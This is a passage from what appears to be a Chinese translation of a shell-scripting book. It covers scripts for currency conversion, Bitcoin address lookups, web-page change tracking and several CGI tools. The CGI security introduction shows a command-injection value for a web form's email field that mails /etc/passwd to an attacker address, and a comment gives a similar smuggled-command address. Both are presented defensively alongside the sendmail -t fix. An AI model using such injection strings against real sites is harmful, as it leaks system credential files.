    A flamboyant and controversial British military figure and his
    conflicted loyalties during his World War I service in the Middle East.

列表 7-15:运行 *moviedata* 脚本

破解脚本

对这个脚本最明显的修改是去掉输出中难看的 IMDb 电影 ID 编号。隐藏电影 ID(因为显示的 ID 相当不友好且容易出错)并让 shell 脚本输出一个简单的菜单,其中包含唯一的索引值,然后可以输入这些值来选择特定的电影,应该是简单的。

在确切匹配到一部电影的情况下(试试 moviedata monsoon wedding),如果脚本能识别出这是唯一的匹配项,抓取电影编号并重新调用自己获取数据,那就太好了。试试看!

这个脚本的问题,与大多数从第三方网站抓取数据的脚本一样,如果 IMDb 更改了页面布局,脚本就会失效,你需要重新构建脚本顺序。这是一个潜在的错误,但对于像 IMDb 这样多年来没有变化的网站来说,可能并不是一个危险问题。

#60 计算货币值

在本书的第一版中,货币转换是一个相当困难的任务,需要两个脚本:一个从金融网站获取转换汇率并以特定格式保存,另一个使用这些数据实际进行转换——比如将美元转换为欧元。然而,在这几年里,互联网变得更加复杂,我们无需再进行大量的工作,因为像 Google 这样的站点提供了简单、适合脚本使用的计算器。

对于这个版本的货币转换脚本,如列表 7-16 所示,我们将直接使用 www.google.com/finance/converter 中的货币计算器。

代码

#!/bin/bash

# convertcurrency--Given an amount and base currency, converts it
#   to the specified target currency using ISO currency identifiers.
#   Uses Google's currency converter for the heavy lifting:
#   http://www.google.com/finance/converter

if [ $# -eq 0 ]; then
  echo "Usage: $(basename $0) amount currency to currency"
  echo "Most common currencies are CAD, CNY, EUR, USD, INR, JPY, and MXN"
  echo "Use \"$(basename $0) list\" for a list of supported currencies."
fi

if [ $(uname) = "Darwin" ]; then
  LANG=C   # For an issue on OS X with invalid byte sequences and lynx
fi

     url="https://www.google.com/finance/converter"
tempfile="/tmp/converter.$$"
    lynx=$(which lynx)

# Since this has multiple uses, let's grab this data before anything else.

currencies=$($lynx -source "$url" | grep "option value=" | \
  cut -d\" -f2- | sed 's/">/ /' | cut -d\( -f1 | sort | uniq)

########### Deal with all non-conversion requests.

if [ $# -ne 4 ] ; then
  if [ "$1" = "list" ] ; then
    # Produce a listing of all currency symbols known by the converter.
    echo "List of supported currencies:"
    echo "$currencies"
  fi
  exit 0
fi

########### Now let's do a conversion.

if [ $3 != "to" ] ; then
  echo "Usage: $(basename $0) value currency TO currency"
  echo "(use \"$(basename $0) list\" to get a list of all currency values)"
  exit 0
fi

amount=$1
basecurrency="$(echo $2 | tr '[:lower:]' '[:upper:]')"
targetcurrency="$(echo $4 | tr '[:lower:]' '[:upper:]')"

# And let's do it--finally!

$lynx -source "$url?a=$amount&from=$basecurrency&to=$targetcurrency" | \
  grep 'id=currency_converter_result' | sed 's/<[^>]*>//g'

exit 0

列表 7-16: *convertcurrency* 脚本

工作原理

Google 货币转换器有三个通过 URL 传递的参数:金额、原始货币和你想转换成的货币。你可以在以下请求中看到它是如何工作的,将 100 美元转换为墨西哥比索。

https://www.google.com/finance/converter?a=100&from=USD&to=MXN

在最基本的使用案例中,脚本期望用户指定这三个字段作为参数,然后将它们通过 URL 传递给 Google。

脚本还提供了一些使用消息,便于使用。为了看到这些信息,我们不妨直接跳到演示部分,怎么样?

运行脚本

这个脚本的设计目标是易于使用,正如列表 7-17 中详细描述的那样,尽管至少对一些国家的货币有基本了解会更有帮助。

结果

$ convertcurrency
Usage: convert amount currency to currency
Most common currencies are CAD, CNY, EUR, USD, INR, JPY, and MXN
Use "convertcurrency list" for a list of supported currencies.
$ convertcurrency list | head -10
List of supported currencies:

AED United Arab Emirates Dirham
AFN Afghan Afghani
ALL Albanian Lek
AMD Armenian Dram
ANG Netherlands Antillean Guilder
AOA Angolan Kwanza
ARS Argentine Peso
AUD Australian Dollar
AWG Aruban Florin
$ convertcurrency 75 eur to usd
75 EUR = 84.5132 USD

列表 7-17:运行 *convertcurrency* 脚本

破解脚本

虽然这个基于网页的计算器简单易用,但输出结果可以进行一些整理。例如,示例 7-17 中的输出并不完全合理,因为它用四位小数表示美元,而实际上美分只有两位小数。正确的输出应该是 84.51,或者四舍五入后为 84.52。这是脚本中可以修正的部分。

在此基础上,验证货币缩写会很有帮助。同样,将这些货币代码转化为完整的货币名称也是一个不错的功能,这样你就能知道 AWG 是阿鲁巴弗罗林,BTC 是比特币。

#61 获取比特币地址信息

比特币已经席卷全球,围绕着区块链技术(比特币工作的核心)建立了许多企业。对于任何使用比特币的人来说,获取特定比特币地址的有用信息可能是一个麻烦。但是,我们可以通过快速的 shell 脚本轻松自动化数据收集,像示例 7-18 中所展示的那样。

代码

#!/bin/bash
# getbtcaddr--Given a Bitcoin address, reports useful information

if [ $# -ne 1 ]; then
  echo "Usage: $0 <address>"
  exit 1
fi

base_url="https://blockchain.info/q/"

balance=$(curl -s $base_url"addressbalance/"$1)
recv=$(curl -s $base_url"getreceivedbyaddress/"$1)
sent=$(curl -s $base_url"getsentbyaddress/"$1)
first_made=$(curl -s $base_url"addressfirstseen/"$1)

echo "Details for address $1"
echo -e "\tFirst seen: "$(date -d @$first_made)
echo -e "\tCurrent balance: "$balance
echo -e "\tSatoshis sent: "$sent
echo -e "\tSatoshis recv: "$recv

示例 7-18: *getbtcaddr* 脚本

工作原理

该脚本自动化了一些curl调用,以检索给定比特币地址的几个关键信息。* blockchain.info/*提供的 API 让我们非常方便地访问各种比特币和区块链信息。实际上,我们甚至不需要解析从 API 返回的响应,因为它仅返回单一的、简单的值。在获取给定地址的余额、已发送和已接收的 BTC 数量以及创建时间后,脚本将信息打印到屏幕上供用户查看。

运行脚本

该脚本只接受一个参数,即我们想要获取信息的比特币地址。然而,我们需要提到,如果传入的字符串不是一个有效的比特币地址,脚本将仅打印所有余额、已发送和已接收的值为 0,并且创建日期会显示为 1969 年。任何非零值都以satoshis为单位,satoshi 是比特币的最小单位(类似于美分,但小数点后位数更多)。

结果

运行getbtcaddr shell 脚本非常简单,只需要一个参数——请求数据的比特币地址,正如示例 7-19 所示。

$ getbtcaddr 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
Details for address 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
    First seen: Sat Jan 3 12:15:05 CST 2009
    Current balance: 6554034549
    Satoshis sent: 0
    Satoshis recv: 6554034549

$ getbtcaddr 1EzwoHtiXB4iFwedPr49iywjZn2nnekhoj
Details for address 1EzwoHtiXB4iFwedPr49iywjZn2nnekhoj
    First seen: Sun Mar 11 11:11:41 CDT 2012
    Current balance: 2000000
    Satoshis sent: 716369585974
    Satoshis recv: 716371585974

示例 7-19:运行 *getbtcaddr* 脚本

修改脚本

默认情况下,屏幕上打印的数字相当大,对于大多数人来说有些难以理解。可以很容易地使用scriptbc脚本(脚本 #9,在第 34 页)以更合理的单位报告信息,比如整个比特币。为脚本添加一个比例参数将是让用户获得更易读的输出的一种简单方法。

#62 跟踪网页变化

有时,伟大的灵感来自于看到一个现有的业务并对自己说:“这似乎并不难。”在网站上跟踪变化的任务,实际上是收集这种灵感材料的一种出奇简单的方法。清单 7-20 中的脚本changetrack自动化了这一任务。这个脚本有一个有趣的细节:当它检测到站点发生变化时,它会将新网页发送给用户,而不是仅仅在命令行上报告信息。

代码

   #!/bin/bash

   # changetrack--Tracks a given URL and, if it's changed since the last visit,
   #   emails the new page to the specified address

   sendmail=$(which sendmail)
   sitearchive="/tmp/changetrack"
   tmpchanges="$sitearchive/changes.$$"  # Temp file
   fromaddr="webscraper@intuitive.com"
   dirperm=755        # read+write+execute for dir owner
   fileperm=644       # read+write for owner, read only for others

   trap "$(which rm) -f $tmpchanges" 0 1 15  # Remove temp file on exit

   if [ $# -ne 2 ] ; then
     echo "Usage: $(basename $0) url email" >&2
     echo "  tip: to have changes displayed on screen, use email addr '-'" >&2
     exit 1
   fi

   if [ ! -d $sitearchive ] ; then
     if ! mkdir $sitearchive ; then
 echo "$(basename $0) failed: couldn't create $sitearchive." >&2
       exit 1
     fi
     chmod $dirperm $sitearchive
   fi

   if [ "$(echo $1 | cut -c1-5)" != "http:" ] ; then
     echo "Please use fully qualified URLs (e.g. start with 'http://')" >&2
     exit 1
   fi

   fname="$(echo $1 | sed 's/http:\/\///g' | tr '/?&' '...')"
   baseurl="$(echo $1 | cut -d/ -f1-3)/"

   # Grab a copy of the web page and put it in an archive file. Note that we
   #   can track changes by looking just at the content (that is, -dump, not
   #   -source), so we can skip any HTML parsing....

   lynx -dump "$1" | uniq > $sitearchive/${fname}.new
   if [ -f "$sitearchive/$fname" ] ; then
     # We've seen this site before, so compare the two with diff.
     diff $sitearchive/$fname $sitearchive/${fname}.new > $tmpchanges
     if [ -s $tmpchanges ] ; then
       echo "Status: Site $1 has changed since our last check."
     else
       echo "Status: No changes for site $1 since last check."
       rm -f $sitearchive/${fname}.new     # Nothing new...
       exit 0                              # No change--we're outta here.
     fi
   else
     echo "Status: first visit to $1\. Copy archived for future analysis."
     mv $sitearchive/${fname}.new $sitearchive/$fname
     chmod $fileperm $sitearchive/$fname
     exit 0
   fi

   # If we're here, the site has changed, and we need to send the contents
   #   of the .new file to the user and replace the original with the .new
   #   for the next invocation of the script.

   if [ "$2" != "-" ] ; then

   ( echo "Content-type: text/html"
     echo "From: $fromaddr (Web Site Change Tracker)"
     echo "Subject: Web Site $1 Has Changed"
➊   echo "To: $2"
     echo ""

➋   lynx -s -dump $1 | \
➌   sed -e "s|src=\"|SRC=\"$baseurl|gi" \
➍       -e "s|href=\"|HREF=\"$baseurl|gi" \
➎       -e "s|$baseurl\/http:|http:|g"
   ) | $sendmail -t

   else
     # Just showing the differences on the screen is ugly. Solution?

     diff $sitearchive/$fname $sitearchive/${fname}.new
   fi

   # Update the saved snapshot of the website.

   mv $sitearchive/${fname}.new $sitearchive/$fname
   chmod 755 $sitearchive/$fname
   exit 0

清单 7-20:*changetrack*脚本*

工作原理

给定一个 URL 和目标电子邮件地址,脚本会获取网页内容并与上次检查时的网站内容进行比较。如果站点发生了变化,新网页会通过电子邮件发送给指定的接收人,并对图形和href标签进行一些简单的重写,尽力保持它们正常工作。这个从➋开始的 HTML 重写值得一看。

调用lynx命令获取指定网页的源代码➋,然后sed执行三种不同的翻译。首先,SRC="被重写为SRC="baseurl/➌,确保任何相对路径名(如SRC="logo.gif")都会被重写为带有域名的完整路径名。如果站点的域名是www.intuitive.com/,重写后的 HTML 将是SRC="http://www.intuitive.com/logo.gif"。同样,href属性也会被重写➍。然后,为了确保没有破坏任何内容,第三次翻译会在误加了baseurl的 HTML 源中将其移除➎。例如,HREF="http://www.intuitive.com/http://www.somewhereelse.com/link"显然是错误的,必须修复才能使链接正常工作。

还需要注意的是,接收地址是在echo语句➊(echo "To: $2")中指定的,而不是作为sendmail的参数。这是一个简单的安全技巧:通过将地址放在sendmail的输入流中(sendmail会根据-t标志知道解析收件人),就不用担心用户恶意篡改地址,例如"joe;cat /etc/passwd|mail larry"。在使用sendmail时,这是一个很好的安全实践。

运行脚本

这个脚本需要两个参数:被跟踪站点的 URL(为了正常工作,你需要使用以http://开头的完整 URL)以及应该接收更新网页的人员的电子邮件地址(或者以逗号分隔的多人邮件地址)。或者,如果你更喜欢,可以将电子邮件地址设为-(一个连字符),那么diff输出将显示在屏幕上。

结果

第一次运行脚本时,网页会自动通过电子邮件发送给指定的用户,如清单 7-21 所示。

$ changetrack http://www.intuitive.com/ taylor@intuitive.com
Status: first visit to http://www.intuitive.com/. Copy archived for future
analysis.

清单 7-21:第一次运行*changetrack*脚本

对* www.intuitive.com/的所有后续检查,将只在页面自上次脚本调用以来发生变化时,才会发送该网站的电子邮件副本。这一变化可以是一个简单的拼写错误修复,也可以是一个完整的重新设计。虽然这个脚本可以用于跟踪任何网站,但不经常变化的网站可能效果最佳:如果该网站是 BBC 新闻主页,检查变化就浪费 CPU 周期,因为这个网站是不断*更新的。

如果第二次调用脚本时,网站没有发生变化,脚本将没有输出,并且不会向指定的接收人发送电子邮件:

$ changetrack http://www.intuitive.com/ taylor@intuitive.com
$

破解脚本

当前脚本的一个明显缺陷是它硬编码为查找http://链接,这意味着它会拒绝任何通过 HTTPS 和 SSL 提供的 HTTP 网页。更新脚本以同时支持两者将需要一些更复杂的正则表达式,但完全是可能的!

另一个使脚本更有用的改动是添加一个粒度选项,允许用户指定如果只有一行发生变化,脚本不应该认为该网站已经更新。你可以通过将diff输出传递给wc -l来实现这一点,以统计输出发生变化的行数。(记住,diff通常会为每行变化输出行内容。)

当这个脚本从cron任务中按日或每周调用时,它也更加有用。我们有类似的脚本每天晚上运行,向我们发送来自各种网站的更新网页,这些网站是我们喜欢跟踪的。

一个特别有趣的可能性是修改这个脚本,使其能够处理一个包含网址和电子邮件地址的数据文件,而不需要将这些作为输入参数。将修改后的脚本放入cron任务中,编写一个基于网页的前端工具(类似于第八章中的 Shell 脚本),你就复制了一个一些公司收费使用的功能。不是开玩笑。

第九章:WEBMASTER HACKS

image

除了提供一个很好的环境来构建与各种网站协作的巧妙命令行工具外,Shell 脚本还可以改变你自己网站的运作方式。你可以使用 Shell 脚本编写简单的调试工具,按需创建网页,甚至构建一个照片集浏览器,自动将上传到服务器的新图像合并进来。

本章中的脚本都是通用网关接口(CGI)脚本,用于生成动态网页。在编写 CGI 脚本时,你应时刻注意可能存在的安全风险。最常见的攻击之一就是攻击者通过一个易受攻击的 CGI 或其他 Web 语言脚本访问并利用命令行,令 Web 开发者措手不及。

请考虑一个看似无害的示例——一个 Web 表单收集用户的电子邮件地址,如示例 8-1 所示。处理表单的脚本将用户的信息存储在本地数据库中,并发送确认邮件。

( echo "Subject: Thanks for your signup"
  echo "To: $email ($name)"
  echo ""
  echo "Thanks for signing up. You'll hear from us shortly."
  echo "-- Dave and Brandon"
) | sendmail $email

示例 8-1:向 Web 表单用户的地址发送电子邮件

看起来没问题吧?现在,假设用户输入的不是像taylor@intuitive.com这样的正常电子邮件地址,而是类似于下面这样的内容:

`sendmail d00d37@das-hak.de < /etc/passwd; echo  taylor@intuitive.com`

你能看到其中潜伏的危险吗?这不仅仅是发送一封简短的电子邮件到指定地址,而是将你的/etc/passwd文件副本发送到一个不法分子,邮件地址是@das-hak.de,可能被用作对你系统安全发动有针对性的攻击。

因此,许多 CGI 脚本都是在更注重安全的环境中编写的——特别是带有-w选项的 Perl 脚本(即 Shell 脚本顶部的!#部分),这样如果数据来自外部源且未经过清洗或检查,脚本将会失败。

但是,Shell 脚本缺乏安全功能并不意味着它在 Web 安全领域中不重要。它只是意味着你需要意识到潜在的安全问题,并消除它们。例如,在示例 8-1 中的一个小改动就能防止潜在的黑客提供恶意外部数据,如在示例 8-2 中所示。

( echo "Subject: Thanks for your signup"
  echo "To: $email ($name)"
  echo ""
  echo "Thanks for signing up. You'll hear from us shortly."
  echo "-- Dave and Brandon"
) | sendmail -t

示例 8-2:使用 *-t* 发送电子邮件

-t标志告诉sendmail程序扫描邮件内容以寻找有效的目标电子邮件地址。反引号内的内容不会出现在命令行中,因为它在sendmail队列系统中被解释为无效的电子邮件地址。它会安全地以一个名为dead.message的文件保存在你的主目录中,并被记录到系统错误日志文件中。

另一项安全措施是对从 Web 浏览器发送到服务器的信息进行编码。例如,编码后的反引号会实际发送到服务器(并交给 CGI 脚本处理)作为%60,Shell 脚本可以安全地处理这个信息而不会造成问题。

本章中所有 CGI 脚本的一个共同特点是,它们对编码字符串的解码非常有限:空格在传输过程中会被编码为 +,因此将其还原为空格是安全的。电子邮件地址中的 @ 字符会被发送为 %40,因此也可以安全地转换回来。除此之外,清洗后的字符串可以无害地扫描是否存在 % 字符,并在遇到时生成错误。

最终,复杂的网站会使用比 shell 更强大的工具,但与本书中的许多解决方案一样,一段 20 到 30 行的 shell 脚本通常足以验证一个想法、证明一个概念或以快速、便捷、且合理高效的方式解决问题。

运行本章中的脚本

要运行本章中的 CGI shell 脚本,我们需要做的事情比仅仅正确命名脚本并保存它多一些。我们还必须将脚本放在正确的位置,这个位置由运行的 web 服务器的配置决定。为此,我们可以使用系统的包管理器安装 Apache web 服务器,并将其设置为运行我们新的 CGI 脚本。以下是如何使用 apt 包管理器操作的方法:

$ sudo apt-get install apache2
$ sudo a2enmod cgi
$ sudo service apache2 restart

通过 yum 包管理器安装应该非常相似。

# yum install httpd
# a2enmod cgi
# service httpd restart

安装并配置好后,你应该能够在你选择的操作系统的默认 cgi-bin 目录中开始开发脚本(Ubuntu 或 Debian 为 /usr/lib/cgi-bin/,CentOS 为 /var/www/cgi-bin/),然后在浏览器中通过 http:///cgi-bin/script.cgi 查看它们。如果脚本仍然以纯文本形式出现在浏览器中,请确保它们具有可执行权限,命令为 chmod +x script.cgi

#63 查看 CGI 环境

在我们为本章开发一些脚本时,苹果发布了其最新版本的 Safari 浏览器。我们立即产生了一个问题:“Safari 如何在 HTTP_USER_AGENT 字符串中标识自己?”对于使用 shell 编写的 CGI 脚本,找到答案很简单,如 清单 8-3 中所示。

代码

   #!/bin/bash

   # showCGIenv--Displays the CGI runtime environment, as given to any
   #   CGI script on this system

   echo "Content-type: text/html"
   echo ""

   # Now the real information...

   echo "<html><body bgcolor=\"white\"><h2>CGI Runtime Environment</h2>"
   echo "<pre>"
➊ env || printenv
   echo "</pre>"
   echo "<h3>Input stream is:</h3>"
   echo "<pre>"
   cat -
   echo "(end of input stream)</pre></body></html>"

   exit 0

清单 8-3: *showCGIenv* 脚本

工作原理

当一个查询从 web 客户端发送到 web 服务器时,查询序列包含了一些环境变量,这些环境变量是由 web 服务器(在本例中为 Apache)传递给指定的脚本或程序(即 CGI)的。这个脚本通过使用 shell 的 env 命令 ➊ 显示这些数据——为了最大程度的可移植性,它会在 env 调用失败时使用 printenv,这是 || 符号的目的——脚本的其余部分是必要的包装信息,用于将结果通过 web 服务器反馈到远程浏览器。

运行脚本

要运行代码,你需要将脚本文件放置在你的网站服务器上并确保其可执行。(有关更多细节,请参见 “运行本章中的脚本” 以及第 201 页)。然后,只需在网页浏览器中请求保存的 .cgi 文件。结果如图 8-1 所示。

image

图 8-1: 从 shell 脚本中获取的 CGI 运行时环境

结果

了解 Safari 如何通过 HTTP_USER_AGENT 变量识别自己非常有用,如示例 8-4 所示。

HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1)
AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7

示例 8-4: *HTTP_USER_AGENT* 环境变量在 CGI 脚本中的使用

所以 Safari 版本 601.2.7 属于 Mozilla 5.0 浏览器类别,运行在 Intel 架构的 OS X 10.11.1 上,使用 KHTML 渲染引擎。所有这些信息,都被压缩到一个变量中!

#64 记录 Web 事件

一个很酷的 shell 脚本使用案例是通过包装器记录事件。假设你想在你的网页上放置一个 DuckDuckGo 搜索框。你不希望直接将查询提交给 DuckDuckGo,而是希望先记录下来,看看访客搜索的内容是否与你网站上的内容相关。

首先,稍微需要一些 HTML 和 CGI。网页上的输入框是通过 HTML <form> 标签创建的,当点击表单按钮提交表单时,它会将用户输入发送到表单的 action 属性值指定的远程网页。任何网页上的 DuckDuckGo 查询框可以简化为以下内容:

<form method="get" action="">
Search DuckDuckGo:
<input type="text" name="q">
<input type="submit" value="search">
</form>

我们并不是直接将搜索模式传递给 DuckDuckGo,而是希望将其传递给我们自己服务器上的脚本,脚本会记录模式然后将查询重定向到 DuckDuckGo 服务器。因此,表单只有一个小小的变化:action 字段变为指向本地脚本,而不是直接调用 DuckDuckGo:

<!-- Tweak action value if script is placed in /cgi-bin/ or other -->
<form method="get" action="log-duckduckgo-search.cgi">

log-duckduckgo-search CGI 脚本非常简单,如示例 8-5 所示。

代码

#!/bin/bash

# log-duckduckgo-search--Given a search request, logs the pattern and then
#   feeds the entire sequence to the real DuckDuckGo search system

# Make sure the directory path and file listed as logfile are writable by
#   the user that the web server is running as.
logfile="/var/www/wicked/scripts/searchlog.txt"

if [ ! -f $logfile ] ; then
  touch $logfile
  chmod a+rw $logfile
fi

if [ -w $logfile ] ; then
  echo "$(date): ➊$QUERY_STRING" | sed 's/q=//g;s/+/ /g' >> $logfile
fi

echo "Location: https://duckduckgo.com/html/?$QUERY_STRING"
echo ""

exit 0

示例 8-5: *log-duckduckgo-search* 脚本

工作原理

脚本中最显著的元素与 web 服务器和 web 客户端如何通信有关。输入到搜索框中的信息作为变量 QUERY_STRING ➊ 发送到服务器,通过将空格替换为 + 符号并将其他非字母数字字符替换为适当的字符序列来进行编码。然后,当搜索模式被记录时,所有的 + 符号会安全、简便地转回为空格。否则,搜索模式不会被解码,以防止用户尝试一些复杂的黑客手段。(有关更多细节,请参阅本章引言。)

登录后,网页浏览器会被重定向到实际的 DuckDuckGo 搜索页面,并带有 Location: 头部值。请注意,简单地在末尾添加 ?$QUERY_STRING 就足以将搜索模式传递到最终目的地,无论模式多么简单或复杂。

这个脚本生成的日志文件在每个查询字符串前都加上当前的日期和时间,从而构建一个数据文件,不仅显示流行的搜索内容,还可以按一天中的时间、星期几、月份等进行分析。这个脚本能揭示许多关于繁忙网站的信息!

运行脚本

要真正使用这个脚本,你需要创建 HTML 表单,并且该脚本需要可执行并位于你的服务器上。(有关更多细节,请参见本章运行脚本,见第 201 页。)然而,我们可以通过使用curl来测试脚本。要测试脚本,执行一个带有q参数(搜索查询)的 HTTP 请求:

$ curl "10.37.129.5/cgi-bin/log-duckduckgo-search.cgi?q=metasploit"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://duckduckgo.com/
html/?q=metasploit">here</a>.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at 10.37.129.5 Port 80</address>
</body></html>
$

然后,通过将搜索日志的内容打印到控制台屏幕上来验证搜索是否已被记录:

$ cat searchlog.txt
Thu Mar 9 17:20:56 CST 2017: metasploit
$

结果

在网页浏览器中打开脚本时,结果来自 DuckDuckGo,正如预期的那样,见图 8-2。

image

图 8-2:DuckDuckGo 搜索结果出现了,但搜索已经被记录!

在一个繁忙的网站上,你无疑会发现使用命令tail -f searchlog.txt来监控搜索非常有帮助,因为你可以了解人们在线上搜索什么。

破解脚本

如果搜索框在网站的每一页上都可以使用,那么知道用户在进行搜索时所在的页面将会很有用。这可能会为你提供有关特定页面是否足够清晰的有价值见解。例如,用户是否总是在某个页面上搜索以寻求更多的说明?记录额外的用户搜索页面信息(如Referer HTTP 头)将是对脚本的一个很好的补充。

#65 动态构建网页

许多网站上的图形和其他元素会每天变化。像 Bill Holbrook 的Kevin & Kell这样的网络漫画就是一个很好的例子。在他的网站上,主页总是展示最新的漫画,而该站点为单个漫画使用的图像命名规则很容易逆向工程,这使得你能够将漫画添加到自己的网站上,正如示例 8-6 所示。

警告

来自我们的律师的声明:当你从另一个网站抓取内容并用于自己的站点时,涉及许多版权问题。对于这个例子,我们已经从 Bill Holbrook 那里获得了明确许可,允许我们将他的漫画条目收录到这本书中。在你开始做之前,我们鼓励你获得许可,以便在自己的网站上复制任何受版权保护的材料,避免将自己陷入律师包围的深坑。

代码

#!/bin/bash

# kevin-and-kell--Builds a web page on the fly to display the latest
#   strip from the cartoon "Kevin and Kell" by Bill Holbrook.
#   <Strip referenced with permission of the cartoonist>

month="$(date +%m)"
  day="$(date +%d)"
 year="$(date +%y)"

echo "Content-type: text/html"
echo ""

echo "<html><body bgcolor=white><center>"
echo "<table border=\"0\" cellpadding=\"2\" cellspacing=\"1\">"
echo "<tr bgcolor=\"#000099\">"
echo "<th><font color=white>Bill Holbrook's Kevin &amp; Kell</font></th></tr>"
echo "<tr><td><img "

# Typical URL: http://www.kevinandkell.com/2016/strips/kk20160804.jpg

/bin/echo -n " src=\"http://www.kevinandkell.com/20${year}/"
echo "strips/kk20${year}${month}${day}.jpg\">"
echo "</td></tr><tr><td align=\"center\">"
echo "&copy; Bill Holbrook. Please see "
echo "<a href=\"http://www.kevinandkell.com/\">kevinandkell.com</a>"
echo "for more strips, books, etc."
echo "</td></tr></table></center></body></html>"

exit 0

示例 8-6:*kevin-and-kell** 脚本*

工作原理

快速查看Kevin & Kell主页的源代码可以发现,给定漫画的 URL 是由当前的年份、月份和日期构建的,如下所示:

http://www.kevinandkell.com/2016/strips/kk20160804.jpg

要动态生成包含该漫画的页面,脚本需要获取当前的年份(两位数),月份和日期(如果需要,前面加零)。其余部分只是 HTML 包装器,用来美化页面。实际上,考虑到最终功能,这个脚本非常简单。

运行脚本

与本章其他 CGI 脚本一样,这个脚本必须放置在一个合适的目录中,以便通过网络访问,并且具有适当的文件权限。然后,只需从浏览器中调用正确的 URL 即可。

结果

该网页每天都会自动更新。对于 2016 年 8 月 4 日的漫画,结果页面如图 8-3 所示。

image

图 8-3:Kevin & Kell网页,动态生成

破解脚本

如果你有灵感,这个概念几乎可以应用于网络上的任何事物。你可以抓取 CNN 或南华早报的头条新闻,或者从杂乱的网站获取一个随机广告。同样,如果你打算将内容作为你网站的一部分,确保它是公共领域内容,或者你已经获得了授权。

#66 将网页转化为电子邮件消息

通过将逆向工程文件命名约定与脚本#62 中展示的网页跟踪工具相结合,你可以将一个网页自动通过电子邮件发送给自己,该网页不仅会更新内容,还会更新文件名。这个脚本不需要使用 Web 服务器即可发挥作用,可以像书中其他脚本一样运行。不过,值得注意的是:Gmail 和其他电子邮件服务商可能会过滤通过本地 Sendmail 工具发送的电子邮件。如果你没有收到以下脚本发送的邮件,可以尝试使用类似 Mailinator 的服务(* mailinator.com/ *)进行测试。

代码

举个例子,我们将使用Cecil AdamsChicago Reader写的幽默专栏《The Straight Dope》。如清单 8-7 所示,自动将新的《Straight Dope》专栏通过电子邮件发送到指定地址是非常直接的。

   #!/bin/bash

   # getdope--Grabs the latest column of "The Straight Dope."
   #   Set it up in cron to be run every day, if so inclined.

   now="$(date +%y%m%d)"
   start="http://www.straightdope.com/ "
   to="testing@yourdomain.com"   # Change this as appropriate.

   # First, get the URL of the current column.

➊ URL="$(curl -s "$start" | \
   grep -A1 'teaser' | sed -n '2p' | \
   cut -d\" -f2 | cut -d\" -f1)"

   # Now, armed with that data, produce the email.

   ( cat << EOF
   Subject: The Straight Dope for $(date "+%A, %d %B, %Y")
   From: Cecil Adams <dont@reply.com>
   Content-type: text/html
   To: $to

   EOF

   curl "$URL"
   ) | /usr/sbin/sendmail -t

   exit 0

清单 8-7:*getdope*脚本

它是如何工作的

最新专栏的页面有一个 URL,你需要从主页中提取出来,但检查源代码会发现,每个专栏在源代码中都用class="teaser"标识,而且最新的专栏总是出现在页面的最前面。这意味着,从➊开始的简单命令序列应该能够提取出最新专栏的 URL。

curl命令抓取主页的源代码,grep命令输出每个匹配的“teaser”行及其后的一行,sed使得我们可以轻松提取结果输出的第二行,以便获取最新的文章。

运行脚本

要提取 URL,只需省略第一个双引号之前的所有内容以及第一个引号之后的所有内容。可以在命令行上逐步测试,查看每一步的结果。

结果

虽然简洁,这个脚本展示了一个复杂的 Web 用法,从一个网页中提取信息,并作为后续调用的基础。

因此,生成的电子邮件包含页面上的所有内容,包括菜单、图片以及所有页脚和版权信息,如 Figure 8-4 所示。

image

Figure 8-4: 将最新的 Straight Dope 文章直接发送到你的收件箱

黑客脚本

有时你可能希望在周末坐下来一两个小时,阅读过去一周的文章,而不是每天都去查看一封电子邮件。这类汇总邮件通常称为 电子邮件摘要,它们可以让你一次性浏览更加轻松。一个不错的黑客技巧是更新脚本,将过去七天的文章全部发送到一个邮件中,在一周结束时发送出去。这样还能减少你在一周内收到的邮件数量!

#67 创建一个基于 Web 的照片相册

CGI Shell 脚本不仅仅局限于处理文本。网站的一个常见用途是作为相册,允许你上传大量图片,并且有一些软件来帮助整理所有内容,使浏览变得更加简便。令人惊讶的是,使用 shell 脚本生成目录中的基本“照片清单”非常简单。 Listing 8-8 中展示的脚本只有 44 行。

代码

   #!/bin/bash
   # album--Online photo album script
   echo "Content-type: text/html"
   echo ""

   header="header.html"
   footer="footer.html"
    count=0

   if [ -f $header ] ; then
     cat $header
   else
     echo "<html><body bgcolor='white' link='#666666' vlink='#999999'><center>"
   fi

   echo "<table cellpadding='3' cellspacing='5'>"

➊ for name in $(file /var/www/html/* | grep image | cut -d: -f1)
   do
     name=$(basename $name)
     if [ $count -eq 4 ] ; then
       echo "</td></tr><tr><td align='center'>"
       count=1
     else
       echo "</td><td align='center'>"
       count=$(( $count + 1 ))
     fi

➋   nicename="$(echo $name | sed 's/.jpg//;s/-/ /g')"

     echo "<a href='../$name' target=_new><img style='padding:2px'"
     echo "src='../$name' height='200' width='200' border='1'></a><BR>"
     echo "<span style='font-size: 80%'>$nicename</span>"
   done

   echo "</td></tr></table>"

   if [ -f $footer ] ; then
     cat $footer
   else
     echo "</center></body></html>"
   fi

   exit 0

Listing 8-8: The *album* script

它是如何工作的

这里几乎所有的代码都是 HTML,用于创建吸引人的输出格式。去掉 echo 语句,剩下的就是一个简单的 for 循环,它遍历 /var/www/html 目录 ➊ 中的每个文件(这是 Ubuntu 14.04 中的默认 Web 根目录),并通过 file 命令识别图像文件。

该脚本在文件命名约定上效果最好,其中每个文件名使用短横线替代空格。例如,sunset-at-home.jpgname 值被转换为 nicename ➋ 的 sunset at home。这是一个简单的转换,但它使得相册中的每张图片都有一个吸引人且易于阅读的名称,而不是像 DSC00035.JPG 这样不美观的文件名。

运行脚本

要运行此脚本,只需将其放入一个包含 JPEG 图片的目录中,并将脚本命名为 index.cgi。如果你的 web 服务器配置正确,直接请求查看该目录会自动调用 index.cgi,前提是该目录中没有 index.html 文件。现在你拥有了一个即时的动态相册。

结果

给定一个包含风景照片的目录,结果非常令人满意,如 Figure 8-5 所示。请注意,header.htmlfooter.html 文件存在于相同的目录中,因此它们也会自动包含在输出中。

image

Figure 8-5:一个用 44 行 shell 脚本创建的即时在线相册!

破解脚本

